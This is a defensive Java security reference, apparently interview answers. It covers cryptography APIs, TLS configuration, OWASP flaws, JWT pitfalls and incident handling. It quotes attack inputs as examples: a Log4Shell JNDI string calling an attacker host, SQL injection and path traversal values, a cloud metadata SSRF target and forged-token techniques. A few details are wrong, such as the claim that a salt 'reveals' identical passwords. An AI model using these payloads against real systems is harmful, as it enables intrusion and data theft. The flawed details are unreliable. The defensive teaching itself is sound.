Java Security

The Java Cryptography Architecture (JCA) is the framework in java.security and javax.crypto that exposes algorithms through engine classes (MessageDigest, Signature, KeyPairGenerator, Cipher, Mac, SecureRandom). JCE is the part covering encryption, key agreement and MACs. Implementations come from pluggable Providers.

• Cipher.getInstance("AES/GCM/NoPadding") asks registered providers in priority order for the first one supporting it.
• Built-in providers include SunJCE, SunEC, SunJSSE; Bouncy Castle is added with Security.addProvider.
• Since Java 9 the unlimited-strength policy is the default; before 8u161 you needed policy files for AES-256.

Hashing is a one-way digest with no key (integrity fingerprint). Encryption is reversible with a key (confidentiality). A MAC is a keyed digest proving integrity and authenticity between parties sharing a secret. A digital signature uses a private key to sign and a public key to verify, giving authenticity and non-repudiation.

• Hash: SHA-256. Encryption: AES-GCM. MAC: HMAC-SHA256. Signature: Ed25519, ECDSA, RSA-PSS.
• Encoding (Base64, hex) is none of these and gives no security.

Use SHA-256, SHA-384, SHA-512, SHA-3 or BLAKE2/3 for integrity. MD5 and SHA-1 have practical collision attacks and must not be used for signatures, certificates or integrity against adversaries.

MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] digest = md.digest("data".getBytes(StandardCharsets.UTF_8));
String hex = HexFormat.of().formatHex(digest); // Java 17+

• Plain fast hashes are the wrong tool for passwords.
• Compare digests in constant time with MessageDigest.isEqual.

General hashes are designed to be fast, so GPUs test billions of guesses per second. Password hashing uses salted, deliberately slow, tunable-cost functions: Argon2id (preferred, memory-hard), scrypt, bcrypt, or PBKDF2 (FIPS-friendly).

• Each hash has a unique random salt stored with it, which defeats rainbow tables and reveals identical passwords.
• Cost is tuned so one verification takes roughly 100-500 ms on production hardware.
• Spring Security's DelegatingPasswordEncoder stores {id} prefixes so you can migrate algorithms.

Argon2id is memory- and time-hard and is OWASP's first choice. bcrypt is CPU-hard with a small fixed memory, widely supported. PBKDF2 is only CPU-iteration based, easy on GPUs/ASICs but available in the JDK and FIPS-approved.

• JDK has only PBKDF2 (PBKDF2WithHmacSHA256); bcrypt/Argon2 come from Spring Security, Bouncy Castle, or libraries like Password4j.
• OWASP baseline: Argon2id m=19 MiB, t=2, p=1; bcrypt cost >= 10; PBKDF2-HMAC-SHA256 >= 600,000 iterations.
• bcrypt truncates input at 72 bytes.

Generate a 16-byte random salt, derive with SecretKeyFactory, and store algorithm, iterations, salt and hash together. Clear the PBEKeySpec afterward.

byte[] salt = new byte[16];
new SecureRandom().nextBytes(salt);
PBEKeySpec spec = new PBEKeySpec(pwd, salt, 600_000, 256);
try {
    byte[] hash = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256")
            .generateSecret(spec).getEncoded();
} finally {
    spec.clearPassword();
}

• Verify by recomputing with the stored salt and comparing via MessageDigest.isEqual.

GCM is an authenticated encryption (AEAD) mode: it encrypts and produces a tag that detects tampering. ECB encrypts identical blocks identically; CBC gives only confidentiality and is vulnerable to padding-oracle attacks without a separate MAC.

byte[] iv = new byte[12];
new SecureRandom().nextBytes(iv);
Cipher c = Cipher.getInstance("AES/GCM/NoPadding");
c.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
c.updateAAD(header);
byte[] ct = c.doFinal(plaintext); // ciphertext || 16-byte tag

• Store the IV beside the ciphertext; it is not secret.
• Decryption throws AEADBadTagException on tampering.

Use 96-bit nonces. Random nonces are safe only up to about 2^32 messages per key (collision probability bound, per NIST); beyond that rotate keys or use a counter-based or deterministic scheme.

• Counter nonces risk reuse after a restart or when multiple nodes share a key.
• Encrypt at most ~64 GiB per single message/nonce.
• Misuse-resistant alternatives: AES-GCM-SIV (not in the JDK) or XChaCha20-Poly1305 via a library.
• JDK 11+ includes ChaCha20-Poly1305.

If a system decrypts AES-CBC and reveals (through errors or timing) whether padding was valid, an attacker can decrypt ciphertext byte by byte without the key.

• Fix by using AEAD (GCM) or encrypt-then-MAC, verifying the MAC before decrypting.
• Return identical generic errors; do not distinguish padding failures from MAC failures.

Use RSA with at least 2048-bit keys (3072 for long-term). For encryption use OAEP (RSA/ECB/OAEPWithSHA-256AndMGF1Padding); for signing use PSS (RSASSA-PSS) or PKCS#1 v1.5 with SHA-256 if interoperability demands it. Never use textbook RSA or PKCS#1 v1.5 encryption (Bleichenbacher attacks).

• RSA encrypts only small payloads (key size minus padding), so use hybrid encryption: RSA wraps a random AES key.
• "RSA" alone defaults to RSA/ECB/PKCS1Padding, the weak option.

Generate a fresh random AES key per message, encrypt the data with AES-GCM, then encrypt (wrap) that AES key with the recipient's RSA/EC public key. Send the wrapped key plus IV plus ciphertext.

• Asymmetric crypto handles key distribution, symmetric crypto handles bulk data speed.
• Use ECDH + HKDF (or HPKE, RFC 9180) for EC keys.
• Cipher.WRAP_MODE and UNWRAP_MODE keep the key object away from raw bytes.

ECDSA (P-256) gives short keys and signatures and fast signing. RSA-2048 has larger keys but fast verification and broad compatibility. Ed25519 (JDK 15+) is deterministic, fast and avoids nonce pitfalls.

KeyPairGenerator g = KeyPairGenerator.getInstance("Ed25519"); // JDK 15+
KeyPair kp = g.generateKeyPair();
Signature s = Signature.getInstance("Ed25519");
s.initSign(kp.getPrivate());
s.update(msg);
byte[] sig = s.sign();

• ECDSA needs a unique secret per signature; a repeated or biased nonce leaks the private key.
• JDK 17+ (SunEC) implements ECDSA with secure randomness; legacy SHA1withECDSA should be avoided.

SecureRandom is a cryptographically strong PRNG seeded from OS entropy (/dev/urandom on Linux). java.util.Random is a 48-bit LCG whose entire future output is predictable from a couple of values.

• Use it for tokens, salts, IVs, keys, session IDs, CSRF tokens.
• ThreadLocalRandom and Math.random() are likewise not secure.

Use new SecureRandom() and let the platform choose. On Linux that is NativePRNG, which reads /dev/urandom and does not block. getInstanceStrong() uses the configured securerandom.strongAlgorithms (often NativePRNGBlocking) and can block.

• Do not call getInstanceStrong() on request paths; it can stall servers with low entropy (older VMs/containers).
• -Djava.security.egd=file:/dev/./urandom was a Java 8-era workaround; modern JDKs do not need it.
• DRBG (JDK 9+) is NIST SP 800-90A compliant.

A keystore holds your own private keys and certificate chains (identity you present). A truststore holds certificates of CAs or peers you trust (used to verify the other side). Both use the same file formats, but different roles.

• Default truststore: $JAVA_HOME/lib/security/cacerts (password changeit).
• Configure with -Djavax.net.ssl.keyStore, -Djavax.net.ssl.trustStore and passwords, or in code via KeyManagerFactory and TrustManagerFactory.
• Prefer PKCS12; JKS is legacy (default since Java 9 is PKCS12).

The X509TrustManager builds a chain from the server cert to a trusted anchor, checks signatures, validity dates, basic constraints, key usage, and optionally revocation. Separately, hostname verification confirms the certificate's SAN matches the requested host.

• HttpsURLConnection and HttpClient do hostname checks; raw SSLSocket does not unless you set SSLParameters.setEndpointIdentificationAlgorithm("HTTPS").
• Revocation (CRL/OCSP) is off by default; enable with com.sun.net.ssl.checkRevocation and ocsp.enable.
• Certificates are matched on SAN; CN fallback is not used.

An X509TrustManager with empty checkServerTrusted and an always-true HostnameVerifier disables authentication, so anyone on the network can MITM the connection and read or alter traffic, making TLS pointless.

• Correct fix for internal CAs: import the CA into a dedicated truststore and load it with SSLContext.
• For dev, use mkcert or a local CA, not disabled validation.
• Static scanners and Appknox-type checks flag this as a critical issue.

Load a KeyStore, create TrustManagerFactory (and KeyManagerFactory for mTLS), init SSLContext.getInstance("TLS"), and pass it to HttpClient.

KeyStore ts = KeyStore.getInstance("PKCS12");
try (InputStream in = Files.newInputStream(Path.of("trust.p12"))) {
    ts.load(in, pwd);
}
TrustManagerFactory tmf =
    TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
tmf.init(ts);
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, tmf.getTrustManagers(), null);
HttpClient client = HttpClient.newBuilder().sslContext(ctx).build();

• Restrict versions with jdk.tls.client.protocols or SSLParameters.setProtocols.
• TLS 1.0/1.1 are disabled by default since JDK 11.0.11/8u291 via jdk.tls.disabledAlgorithms.

In mTLS both sides present certificates. The server sets needClientAuth and trusts the client CA; the client has a keystore with its key and chain. It authenticates services without shared secrets.

• Server: SSLParameters.setNeedClientAuth(true), or Spring Boot server.ssl.client-auth=need.
• Client: KeyManagerFactory from keystore plus truststore for the server CA.
• Identity extracted from the client cert subject/SAN is used for authorization.

keytool creates, imports, lists and exports keys and certificates.

keytool -genkeypair -alias app -keyalg EC -groupname secp256r1 \
  -validity 365 -keystore app.p12 -storetype PKCS12 \
  -dname "CN=app.example.com" -ext san=dns:app.example.com
keytool -list -v -keystore app.p12
keytool -importcert -alias rootca -file ca.pem -keystore trust.p12

• Import the full chain in order (leaf, intermediates).
• Use -ext san= since hostname checks ignore CN.

From the 2021 list: Broken Access Control (A01), Cryptographic Failures (A02), Injection (A03), Insecure Design (A04), Security Misconfiguration (A05), Vulnerable Components (A06), Auth Failures (A07), Integrity Failures including insecure deserialization (A08), Logging/Monitoring Failures (A09), SSRF (A10).

• Broken access control (IDOR, missing method security) is the most common in real audits.
• XXE merged into Security Misconfiguration in 2021.

Use parameterized queries (PreparedStatement, JPA named parameters, Spring Data derived queries) so user data is never parsed as SQL. Escaping by hand is brittle.

String sql = "SELECT id FROM users WHERE email = ?";
try (PreparedStatement ps = con.prepareStatement(sql)) {
    ps.setString(1, email);
    try (ResultSet rs = ps.executeQuery()) { /* ... */ }
}

• Bind parameters cannot parameterize identifiers (table, column, ORDER BY); allow-list those values.
• JPQL/HQL string concatenation is equally injectable.
• Least-privilege DB accounts limit damage.

XML External Entity attacks abuse DTD entity declarations to read local files, trigger SSRF or cause DoS (billion laughs). Disable DTDs and external entities on every parser.

DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);

• Same applies to SAXParserFactory, XMLInputFactory (IS_SUPPORTING_EXTERNAL_ENTITIES=false, SUPPORT_DTD=false), TransformerFactory (ACCESS_EXTERNAL_DTD=""), and SchemaFactory.
• JAXB, SOAP stacks, XSLT and Office document libraries parse XML too.

Server-Side Request Forgery makes your server fetch an attacker-chosen URL, reaching internal services or cloud metadata (169.254.169.254). Defend by allow-listing destinations and blocking private ranges after DNS resolution.

• Validate scheme (https only), host against an allow-list, and resolved IP (not loopback, link-local, RFC1918).
• Disable redirects or revalidate each hop.
• Pin the resolved IP to the connection to defeat DNS rebinding.
• Use IMDSv2 on AWS, network egress policies and separate fetcher workers.

ObjectInputStream.readObject instantiates classes from the byte stream and runs their readObject/readResolve hooks. Attackers chain existing classes ("gadgets" in Commons Collections, Spring etc.) to reach remote code execution before any cast check happens.

• Prefer data formats (JSON, Protobuf) with explicit schemas.
• If unavoidable, use an ObjectInputFilter allow-list (JEP 290, Java 9+, backported to 8u121) and set jdk.serialFilter globally.
• Keep libraries patched; never deserialize untrusted data from cookies, JMS, RMI or caches.

JEP 290 lets you filter classes, array lengths, depth and stream size before objects are created. Patterns are allow/deny rules ending with a reject-all.

ObjectInputFilter f = ObjectInputFilter.Config.createFilter(
    "com.acme.dto.*;java.base/*;maxdepth=10;maxbytes=65536;!*");
ObjectInputStream in = new ObjectInputStream(stream);
in.setObjectInputFilter(f);

• JEP 415 (Java 17) adds context-specific filter factories.
• Trailing !* rejects everything not listed.

Path traversal uses ../ or absolute paths in user input to read or write outside the intended directory. Resolve the path against a base directory, normalize it, and verify it still starts with the base.

Path base = Path.of("/data/uploads").toRealPath();
Path target = base.resolve(userName).normalize();
if (!target.startsWith(base)) {
    throw new SecurityException("Invalid path");
}

• Use toRealPath() to resolve symlinks, which normalize() does not.
• Never use the client-provided filename for storage; generate a UUID.
• Zip Slip is the same flaw in archive extraction.

Archive entries can carry names like ../../etc/cron.d/x. Extracting with new File(dest, entry.getName()) writes outside the destination.

• Resolve and normalize each entry path and require it to start with the destination.
• Limit entry count, total uncompressed size and compression ratio to prevent zip bombs.
• Do not extract symlink entries from tar archives blindly.

Avoid shelling out; use Java APIs. If needed, pass arguments as a list to ProcessBuilder without a shell, so metacharacters are not interpreted.

Process p = new ProcessBuilder("convert", "-resize", "100x100", inFile, outFile)
        .redirectErrorStream(true)
        .start();

• Never sh -c "convert " + userInput.
• Argument injection still works: a value starting with - can become an option; use -- and validate.
• Set a timeout and run with minimal privileges.

Validate on the server, at the trust boundary, using allow-lists for type, length, range and format; then encode output for its context. Validation reduces attack surface; it is not a replacement for parameterization or encoding.

• Use Jakarta Bean Validation (@NotNull, @Size, @Pattern, @Valid) on DTOs.
• Canonicalize first (Unicode normalization), validate second.
• Reject rather than "sanitize" where possible.
• Validate size limits on bodies, headers, multipart and JSON depth.

Backtracking regex engines (including java.util.regex) can take exponential time on patterns with nested quantifiers like (a+)+$, letting a short crafted string pin a CPU core.

• Avoid nested or overlapping quantifiers; prefer possessive quantifiers or atomic groups.
• Cap input length before matching.
• Use a linear-time engine (RE2/J) for untrusted patterns or inputs.
• Java does not provide a built-in regex timeout; wrap input in a CharSequence that checks a deadline or run in a bounded executor.

Encode output for its context (HTML body, attribute, JavaScript, URL, CSS) using a templating engine with auto-escaping (Thymeleaf th:text, JSP c:out) or OWASP Java Encoder. Add a Content-Security-Policy and mark cookies HttpOnly.

• th:utext or escapeXml=false bypass escaping.
• For REST APIs returning JSON, set Content-Type: application/json and X-Content-Type-Options: nosniff.
• If rich HTML is required, sanitize with an allow-list library (OWASP Java HTML Sanitizer).

CSRF tricks a logged-in browser into sending a state-changing request with its cookies automatically attached. Defenses: synchronizer token or double-submit cookie, SameSite=Lax/Strict cookies, and checking Origin.

• Spring Security enables CSRF protection by default for session-based apps.
• Stateless APIs authenticated with an Authorization header (not cookies) are not CSRF-prone, so it is commonly disabled there.
• Never change state on GET.

Use Secure, HttpOnly and SameSite cookie flags, regenerate the session ID on login (session fixation defense), set idle and absolute timeouts, and invalidate server-side on logout.

server:
  servlet:
    session:
      cookie:
        secure: true
        http-only: true
        same-site: lax
      timeout: 15m

• Spring Security migrates the session on authentication by default.
• Don't put session IDs in URLs.

Authentication proves who you are; authorization decides what you may do. IDOR (Insecure Direct Object Reference) is missing object-level authorization: GET /orders/42 returns an order that belongs to someone else.

• Enforce on the server per request with ownership checks, e.g. findByIdAndOwnerId.
• Spring: @PreAuthorize("@orderAuth.canView(#id, authentication)").
• Unguessable IDs help but are not authorization.

Keep secrets out of source control and images. Inject at runtime from a secrets manager (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, Kubernetes Secrets with encryption at rest), prefer short-lived dynamic credentials, and rotate regularly.

• Don't commit application.yml with passwords; use environment variables or Spring Cloud Vault / config import.
• Environment variables can leak via /proc, crash dumps and /actuator/env; mounted files are slightly better.
• Scan repos with gitleaks/trufflehog and add pre-commit hooks.
• Use workload identity (IRSA, Workload Identity) so code needs no static cloud keys.

A signed JWT (JWS) is base64url(header).base64url(payload).signature. The payload is readable by anyone; only integrity is protected. The verifier checks the signature with a trusted key and validates claims: exp, nbf, iss, aud, and optionally iat and jti.

• HS256 uses a shared secret; RS256/ES256/EdDSA use key pairs with a public key for verification (JWKS endpoint).
• Encryption (JWE) is a different format.

Typical flaws: accepting alg: none, algorithm confusion (RS256 public key used as an HS256 secret), weak HMAC secrets, not validating aud/iss/exp, trusting header-supplied keys (jku, jwk, kid injection), long-lived tokens with no revocation, and storing tokens in localStorage where XSS can read them.

• Pin the expected algorithm in the verifier; don't read it from the token.
• HS256 secrets need at least 256 bits of entropy.
• Use short access tokens plus refresh token rotation.

Use the OAuth2 resource server with a JwtDecoder built from the issuer's JWKS, and add validators for issuer and audience.

NimbusJwtDecoder decoder = NimbusJwtDecoder
        .withJwkSetUri("https://idp.example.com/.well-known/jwks.json")
        .jwsAlgorithm(SignatureAlgorithm.RS256)
        .build();
OAuth2TokenValidator<Jwt> v = new DelegatingOAuth2TokenValidator<>(
        JwtValidators.createDefaultWithIssuer("https://idp.example.com"),
        new JwtClaimValidator<List<String>>("aud",
                aud -> aud != null && aud.contains("orders-api")));
decoder.setJwtValidator(v);

• Defaults check signature, exp and nbf (with 60 s skew) but not aud.
• JWKS keys are cached and refreshed on unknown kid.

The SecurityManager was deprecated for removal in Java 17 (JEP 411) and permanently disabled in Java 24 (JEP 486): System.setSecurityManager throws UnsupportedOperationException. It was rarely used properly and added complexity and performance cost.

• Applets, AccessController-based sandboxes and policy files are gone as isolation mechanisms.
• In 17-23 you could still enable it with -Djava.security.manager=allow.
• Replace with OS-level isolation: containers, seccomp, separate processes, least-privilege users, Wasm/GraalVM isolates, and the module system for encapsulation.

Since Java 16/17 JDK internals (sun.*, non-exported java.*) are strongly encapsulated; reflection into them throws InaccessibleObjectException unless you add --add-opens. This blocks libraries from tampering with internals but is not a trust boundary against code in the same process.

• Every --add-opens flag widens access; audit them.
• Reflection on your own classpath code is still allowed.

Track transitive dependencies with an SBOM, scan continuously (OWASP Dependency-Check, Snyk, Trivy, GitHub Dependabot, mvn versions), and patch via version bumps or overrides. Log4Shell (CVE-2021-44228) showed one library can compromise everything.

• Use Maven dependencyManagement or Gradle constraints to force fixed transitive versions.
• Fail CI on high-severity CVEs with an exception process.
• Remove unused dependencies to shrink exposure.
• Reachability matters; triage rather than blindly bump.

Attackers compromise a dependency, plugin, repository or build system (typosquatting, dependency confusion, hijacked maintainers, malicious plugins). Mitigate by verifying and constraining what enters the build.

• Use an internal repository proxy (Nexus/Artifactory) and reserve your group IDs there to stop dependency confusion.
• Gradle dependency verification (verification-metadata.xml with checksums/PGP) and lockfiles; Maven Enforcer plus checksum policy.
• Generate SBOMs (CycloneDX), sign artifacts (Sigstore/cosign), aim for reproducible builds (SLSA).
• Review new dependencies and pin GitHub Actions by commit SHA.

Log4j 2.0-2.14 resolved ${jndi:ldap://attacker/x} inside logged messages, loading remote classes and giving unauthenticated RCE on any logged user input (CVE-2021-44228).

• Fixes: upgrade (2.17.1+ for Java 8, 2.12.4/2.3.2 for older), disable message lookups, and block outbound LDAP/RMI.
• JDK 8u191+ disabled remote codebase loading by default (trustURLCodebase=false), which reduced but did not eliminate exploitation (local gadgets).
• Lesson: treat any interpreter reached by user data as an injection sink.

Never log passwords, tokens, keys, full card numbers, session IDs or unmasked PII. Log identifiers, mask the rest, and treat logs as a high-sensitivity datastore with access control and retention.

• Avoid log.info("request {}", request) where toString() dumps all fields; override toString to exclude secrets or use dedicated redaction types.
• Add a masking layer in the logging pattern (Logback converter or Log4j2 rewrite policy) as defense in depth.
• Sanitize CR/LF in user values to prevent log forging.
• Don't log Authorization headers, bodies of auth endpoints or SQL parameters at DEBUG in production.

Comparing secrets with equals or Arrays.equals returns early at the first mismatch, so response time leaks how many leading bytes matched. Use MessageDigest.isEqual (constant time since Java 6u17) for tokens, HMACs and hashes.

boolean ok = MessageDigest.isEqual(expectedMac, providedMac);

• Length leaks are usually acceptable; compare equal-length digests.
• Return identical errors and timing for "unknown user" and "wrong password" (hash a dummy value).

Java gives no guarantee about memory erasure: GC may copy objects and strings are immutable. Best effort is char[]/byte[] that you Arrays.fill after use and Destroyable keys (SecretKeySpec historically does not implement destroy fully).

• Prefer non-extractable keys in HSMs, PKCS#11, cloud KMS, or OS keystores so the key bytes never enter the heap.
• KeyStore.getInstance("PKCS11") returns handles; signing happens on the device.
• Disable heap dumps in production or protect them; secrets live in them.

A KDF turns a shared or master secret into one or more independent keys. After ECDH, the raw shared secret must be run through HKDF (or similar) with context info before use as a key. PBKDF2/Argon2 are for low-entropy passwords instead.

• HKDF-Extract-then-Expand with HMAC; JDK 24 adds KDF API with HKDF (JEP 510); earlier use Bouncy Castle or Tink.
• Use distinct info labels per purpose (encryption vs MAC).

Raw JCA exposes dangerous options (ECB defaults, IV handling, padding, curve choice). Tink offers misuse-resistant primitives (Aead, DeterministicAead, PublicKeySign) with safe defaults, key rotation via keysets and KMS integration.

• Aead aead = keysetHandle.getPrimitive(Aead.class); aead.encrypt(pt, aad); handles nonce generation and format.
• Key versioning lets you rotate by adding a new primary key.
• Rolling your own protocol compositions is the leading cause of crypto bugs.

Pinning restricts trust to a specific certificate or public key (SPKI hash) rather than any CA-signed cert, defending against rogue or compromised CAs.

• Pin the public key of an intermediate or backup keys, not just the leaf, to survive renewals.
• In Java use a custom X509TrustManager that runs normal validation and then checks the SPKI hash, or OkHttp's CertificatePinner.
• Risk: a missed rotation bricks clients; plan backup pins and an update path.

Set Strict-Transport-Security, Content-Security-Policy, X-Content-Type-Options: nosniff, X-Frame-Options or CSP frame-ancestors, Referrer-Policy, and Permissions-Policy. Spring Security adds several of these by default.

• HSTS applies only on HTTPS responses; include includeSubDomains carefully.
• Avoid unsafe-inline in CSP; use nonces or hashes.
• Remove Server/X-Powered-By version banners.

Expose only needed endpoints, put them on a separate management port or behind authentication, and never expose env, heapdump, configprops or jolokia publicly. These leak secrets and allow remote code execution paths.

management:
  endpoints:
    web:
      exposure:
        include: health,info,prometheus
  endpoint:
    health:
      show-details: when-authorized
  server:
    port: 9090

• Spring Boot 3 only exposes health by default over HTTP.
• Mask sensitive values; sanitizes keys by default but custom property names can slip through.

Treat it as compromised immediately: revoke and rotate first, then investigate. Removing the commit does not help because bots scrape GitHub within minutes.

1. Disable/rotate the AWS key and DB password.
2. Review CloudTrail and DB audit logs for use since the commit time.
3. Remove from history (git filter-repo) and force-push only after rotation; notify the provider if needed.
4. Add secret scanning, pre-commit hooks and move to IAM roles/Vault.

java.util.Random is a linear congruential generator; observing a couple of outputs lets an attacker recover the seed and predict future tokens, enabling account takeover. Also 64 bits and often seeded from time.

byte[] b = new byte[32];
new SecureRandom().nextBytes(b);
String token = Base64.getUrlEncoder().withoutPadding().encodeToString(b);

• Store only a hash (SHA-256) of the token, set a short expiry, make it single use.
• Invalidate existing tokens on password change.

Symptom: SSLHandshakeException ... CertificateExpiredException: NotAfter. Renew and deploy the certificate, reload the keystore (restart if the app loads it once), and verify the chain with openssl s_client.

• Prevent: automated issuance (ACME/cert-manager), expiry monitoring alerts at 30/14/7 days, inventory of every cert including internal and mTLS client certs.
• Support hot reload (Spring Boot 3.2 SSL bundles with reload-on-update).
• Test expiry in staging with short-lived certs.

The partner endpoint supports only TLS 1.0/1.1 or weak ciphers, which newer JDKs disable through jdk.tls.disabledAlgorithms in java.security. The right fix is upgrading the partner; re-enabling the old protocol is a risky stopgap.

• Diagnose with -Djavax.net.debug=ssl:handshake.
• Temporary workaround: override via a custom java.security file scoped to one JVM, with a tracking ticket.
• Also check jdk.certpath.disabledAlgorithms for SHA-1 or small RSA keys in the chain.

The JVM does not trust the issuing CA of the server certificate, often a corporate proxy or a private CA, or the server omits an intermediate. Import the CA (not the leaf) into a truststore and point the JVM to it.

keytool -importcert -alias corp-ca -file corp-ca.pem \
  -keystore trust.p12 -storetype PKCS12
java -Djavax.net.ssl.trustStore=trust.p12 \
     -Djavax.net.ssl.trustStorePassword=$TS_PASS -jar app.jar

• Setting a truststore replaces cacerts; copy cacerts and add to it, or build a combined store.
• Fix the server to send the full chain if an intermediate is missing.

Reject it. Such code reaches production through copy-paste or config flags and silently removes MITM protection. Offer a staging CA in a truststore or a Let's Encrypt cert.

• Add a lint/static analysis rule (SonarQube, SpotBugs find-sec-bugs) failing on empty checkServerTrusted and ALLOW_ALL_HOSTNAME_VERIFIER.
• Use profile-specific truststore paths rather than code branches.

The query becomes ... WHERE name = '' OR '1'='1', which is always true and returns every row, bypassing a login check or exposing all users. With stacked queries or UNION, attackers can dump other tables.

String sql = "SELECT * FROM users WHERE name = '" + name + "'";

• Fix with PreparedStatement placeholders.
• Fix the DB account to least privilege, and give generic error messages.

Map user input to a fixed set of known columns and reject everything else.

private static final Map<String, String> SORTABLE =
        Map.of("price", "price", "name", "name", "created", "created_at");

String col = SORTABLE.get(sortParam);
if (col == null) throw new IllegalArgumentException("bad sort");
String sql = "SELECT id, name FROM item ORDER BY " + col;

• Direction also needs a whitelist (ASC/DESC).
• Spring Data Sort validates property names against the entity, but verify custom @Query usage.

With a default JDK parser, the entity is resolved and &x; expands to the file contents, which may be echoed in the response or leaked out-of-band through a parameter entity to an attacker's server. Fix by disallowing DOCTYPE and external access.

SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

• Also audit XSLT, JAXB Unmarshaller and Office/SVG processing.
• Run the service with limited filesystem access.

The server calls the metadata service and returns instance role credentials, giving the attacker cloud access (the Capital One 2019 breach pattern). Fix at several layers.

• Block link-local/private/loopback IPs after DNS resolution, allow-list hosts, disable redirects.
• Enforce IMDSv2 (token required, hop limit 1) so a simple GET fails.
• Give the role minimal permissions and restrict egress with network policies.

Any client can send a crafted stream that runs a gadget chain during readObject, yielding RCE under the app's privileges. Never accept serialized Java from untrusted sources.

• Replace with a signed (HMAC) or encrypted token carrying JSON, or store state server-side keyed by a random ID.
• During migration, install an ObjectInputFilter allow-list and remove gadget libraries (old commons-collections 3.x).
• Monitor for java.io.InvalidClassException spikes as attack signals.

Attackers set @class to a gadget type whose setters or constructors execute dangerous actions (JNDI lookups, file writes), causing RCE. Jackson CVEs repeatedly targeted this.

• Don't use default typing on untrusted input; use @JsonTypeInfo(use = NAME) with @JsonSubTypes listing allowed subtypes.
• If required, configure BasicPolymorphicTypeValidator allow-listing packages.
• Keep Jackson updated.

With file=../../etc/passwd or an absolute path (in some APIs absolute second argument semantics differ), they read arbitrary files such as config with secrets. Encoded variants (%2e%2e%2f, double-encoding) get past naive filters.

• Resolve, normalize and check with startsWith(base) after toRealPath().
• Better: map IDs to stored files in a database and never expose raw filenames.
• Run the app user with read access only where needed.

Risks: path traversal in filenames, uploading .html/.svg for stored XSS, overwriting existing files, executable content, large file DoS, and content-type spoofing.

• Generate random server-side names; keep extension from an allow-list; detect real type by magic bytes (Apache Tika).
• Store outside the web root or in object storage on a separate domain with Content-Disposition: attachment and nosniff.
• Enforce size limits (spring.servlet.multipart.max-file-size) and scan for malware if needed.

This is broken object-level authorization. Fix by checking ownership on every access in the service layer, not only in controllers.

@PreAuthorize("isAuthenticated()")
public Invoice get(long id, Authentication auth) {
    return repo.findByIdAndCustomerId(id, currentCustomer(auth))
               .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
}

• Return 404 instead of 403 to avoid confirming existence.
• Add automated tests with two users; use method security for consistent enforcement.
• Review batch endpoints and bulk-export paths.

The attacker edits claims ("role":"admin"), sets alg to none, drops the signature, and the vulnerable verifier treats the token as valid. Fix by upgrading the library and requiring the expected algorithm explicitly.

• Verify with a parser configured with a specific key and algorithm; do not trust the header.
• Reject tokens with missing signatures and unexpected typ/alg.
• Add tests with tampered tokens.

The attacker hosts their own JWKS, signs a token with their private key, and points jku to it; the service dutifully fetches and trusts the attacker's key, accepting any claims. Never take key locations or embedded keys (jwk) from the token.

• Configure the JWKS URL statically from the issuer's metadata.
• Allow-list kid values and restrict kid to key lookup in an in-memory map.
• Algorithm confusion: an RS256 public key presented as an HS256 secret is a related attack, solved by fixing the algorithm per key.

Stateless JWTs cannot be revoked by design. Options: a server-side deny-list of jti or user/session version checked on each request, rotating the signing key (invalidates everyone), or switching to opaque tokens with introspection.

• Redesign: 5-15 minute access tokens plus rotating refresh tokens stored server-side with reuse detection.
• Revoking the refresh token stops renewal; the access token expires shortly.
• Keep a token_version on the user and compare it with a claim.

localStorage is readable by any script, so XSS steals the token for use anywhere. An HttpOnly; Secure; SameSite cookie is invisible to JS but is sent automatically, which needs CSRF defenses.

• For BFF (backend-for-frontend) patterns the server holds tokens and gives the browser only a session cookie.
• XSS with an HttpOnly cookie still lets the attacker act as the user from the page, but cannot exfiltrate the token.
• Strong CSP reduces XSS in both models.

Assume most passwords are cracked within hours. Force resets, notify users, and migrate hashing. A transparent upgrade wraps the old hash: argon2(md5hash) for everyone immediately, then re-hash with the plain password at next login.

• Store an algorithm ID per row ({md5-argon2}) to know how to verify.
• Invalidate sessions and tokens, and enable MFA.
• Check for credential stuffing on other systems; tell users to change reused passwords.

Password hashing is intentionally expensive, but it becomes a DoS vector: attackers can flood login endpoints to exhaust CPU. Tune cost for roughly 100-300 ms, rate limit and cap concurrent hashing, and offload to a dedicated pool.

• Rate limit per IP and per account; add CAPTCHA or lockout with backoff.
• Use a bounded executor so hashing doesn't starve request threads.
• Prefer Argon2id parameters sized to memory so you control both CPU and RAM.

Use envelope encryption: a data key per tenant or table encrypts values with AES-GCM; the data keys are wrapped by a KMS master key. Store ciphertext, IV and key version together; rotate by re-wrapping or lazily re-encrypting.

• Bind context with AAD (row ID, column name) so ciphertext can't be swapped between rows.
• For searchable fields use a blind index: HMAC(key2, normalized_value); deterministic encryption leaks equality.
• Never log plaintext or keys; cache unwrapped data keys with short TTL.

CBC is malleable: flipping bits in the IV or a previous block predictably changes the next plaintext block, so an attacker can alter fields (e.g., admin=0 to admin=1) without the key. Switch to AES-GCM or add an HMAC (encrypt-then-MAC) verified before decryption.

• Return one generic error for any failure.
• Rotate the key, since you must assume prior cookies were forged.
• Better: opaque session ID with server-side state.

Reusing a GCM nonce under one key is catastrophic: XOR of two ciphertexts reveals the XOR of plaintexts, and the GHASH authentication key can be recovered, letting attackers forge messages.

• Generate a fresh random 12-byte IV per encryption with SecureRandom and prepend it to ciphertext.
• For very high volumes, rotate keys before 2^32 messages.
• The JDK refuses re-encrypting with the same key/IV on one Cipher object without re-init but doesn't stop reuse across objects.

That string selects AES/ECB/PKCS5Padding. ECB encrypts equal plaintext blocks to equal ciphertext blocks (the "ECB penguin"), leaks structure and gives no integrity. It may still work and appear fine in testing.

• Use AES/GCM/NoPadding with a random IV per file and store the IV with the ciphertext.
• Migration: tag the file format with a version byte, decrypt with the old method and re-encrypt on write.
